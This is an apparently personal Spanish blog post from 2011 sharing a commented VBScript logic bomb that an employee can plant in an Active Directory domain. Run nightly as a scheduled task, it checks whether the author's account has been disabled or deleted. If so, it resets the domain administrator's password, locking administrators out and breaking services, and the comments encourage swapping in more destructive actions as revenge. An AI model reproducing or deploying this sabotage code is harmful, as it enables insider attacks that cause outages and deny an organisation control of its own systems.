19 abr 2011

Scripting People: Tus Amigos no te Olvidan

Tal y como esta la cosa del trabajo hay que protegerse las espaldas, o al menos hacer que tus "amigos" no te olviden tan facilmente...

Así y sin más dilación, os traigo esta "joyita" que se me ha ocurrido... Un mini-script para que no nos olviden


' Scripting People - Tus "Amigos" no te Olvidan
' by Oscar Marin

' Requiere privilegios administrativos (ejecutar con una cuenta con privilegios
' de administrador del dominio si se puede) para poder cambiar la contraseña
' de un usuario del dominio (o para hacer lo que te apetezca)

' Para el correcto funcionamiento habrá que dejar el script corriendo en una
' tarea programada, por ejemplo, que se ejecute cada noche y compruebe si todavia
' seguimos en la empresa. Se puede hacer esto con el siguiente comando:
' at 23:52 /every:l,m,mi,j,v "cmd /c cscript d:\scripts\user-exist.vbs"
' Que ejecutará el comando cada dia entre semana a las 23:52

' Definimos e inicializamos las variables
' En Principio no existe nuestra cuenta pero estamos habilitados
boolExiste = false
boolDeshabilitado = false

' No tengais miedo a utilizar variables largas, es preferible copiar y pegar
' que no saber que hace una variable
usrQueNoTieneQueSerDespedido = "scriptingpeople2"

' Definimos el nombre del admin y la contraseña que vamos a usar para cambiarsela al administrador
usrAdmin = "scriptingpeople"
pass = "scriptingpeople1!"

' Llamamos a la funcion que comprueba que nuestro usuario este ok
' Es decir, comprueba que exista (que no lo han borrado) y que
' esta habilitado (que no lo han bloqueado)
EstadoUsr(usrQueNoTieneQueSerDespedido)

' Si existimos, por ahora esta todo bien, veremos si esta la cuenta deshabilitada
If boolExiste Then

' Vemos que al menos existimos, pero ¿Estamos deshabilitados?
' Si la cuenta esta deshabilitada es que nos han echado
If boolDeshabilitado Then

' Imprimimos mensaje de advertencia
Wscript.Echo "Mierda, te han bloqueado la cuenta, se van a cagar!!!"

' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)
ChangePwd(usrAdmin)
End If
Else ' Si han borrado el usuario...

' Imprimimos mensaje de advertencia
Wscript.Echo "Te han largao, lo van a pagar caro!!!"

' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)
' Una vez cambiada la contraseña, en el siguiente reinicio dejarán de funcionar todos los
' servicios que se ejecuten con la cuenta de administrador, cosa demasiado comun por
' desgracia y ademas, en caso de que sea la unica cuenta con privilegios administrativos...
' ...los administradores no podran iniciar sesion y tendran que utilizar alguna herramienta
' para volver a restaurar la contraseña

' Este paso podeis cambiarlo por otra funcion bastante mas destructiva para que de verdad
' Tus "Amigos" no te Olviden... pero eso ya lo dejo a vuestra imaginacion
ChangePwd(usrAdmin)
End If


' Funcion que comprueba si la cuenta esta borrada o deshabilitada
Sub EstadoUsr(strUserName)

' Creamos el objeto dominio con nuestro nombre NETBIOS del dominio
Set objDomain = GetObject("WinNT://midominionetbios")

' Filtramos solo los usuarios del dominio (que no nos aprezcan nombres de maquina o cosas diferentes)
objDomain.Filter = Array("user")

' Para cada usuario del dominio
For Each User In objDomain

' Comprobamos que el usuario en minusculas (por asegurarnos que no hay errores de mayusculas y
' minusculas) sea igual al usuario que le hemos pasado a la funcion y en caso afirmativo...
If lcase(User.Name) = lcase(strUserName) Then

' Marcamos a verdadero la variable de que el usuario existe
boolExiste = true

' Imprimimos en pantalla el mensaje de que existe
WScript.Echo User.Name & " existe... pero vamos a investigar mas..."

' Pero tambien comprobamos si la cuenta sigue activa o esta deshabilitada
' Si la cuenta esta deshabilitada... (Nos han echado...)
If User.AccountDisabled = true Then

' Marcamos la variable de control de deshabilitado a Verdadero
boolDeshabilitado = true

' Imprimimos la cruda realidad
Wscript.Echo User.Name & " esta deshabilitado"
Else ' Si no... Está todo bien... Existe la cuenta y esta habilitada

' Marcamos la variable como que tampoco esta deshabilitada
boolDeshabilitado = false

' Imprimimos nuestra salvacion
Wscript.Echo User.Name & " sigue en activo"
End If
End If
Next

' Si el usuario no existe... Como la variable de control ha empezado a False...
' No hacemos ningun cambio sobre la variable de control, por lo que se desencadenan
' las acciones de venganza que tengamos programadas en el programa principal
If boolExiste = false Then

' Pero si que imprimimos la cruda realidad
Wscript.Echo strUserName & " no existe"
End If
End Sub

' Funcion para cambiar la contraseña de un usuario
Sub ChangePwd(strUserNameAdmin)

' Esta vez creamos directamente el objeto del usuario apuntando a su DistinguishedName (DN) directamente
' Podeis ver cual es el DN del usuario con el ADSI Edit (adsiedit.msc) por ejemplo, aunque por logica
' es bastante sencillo averiguarlo sabiendo en que OU/CN está
Set objUser = GetObject ("LDAP://cn=" & strUserNameAdmin & ",cn=Users,dc=dominio,dc=demo")

' Y le cambiamos la contraseña con la arriba definida
objUser.SetPassword pass
End Sub

No hay comentarios: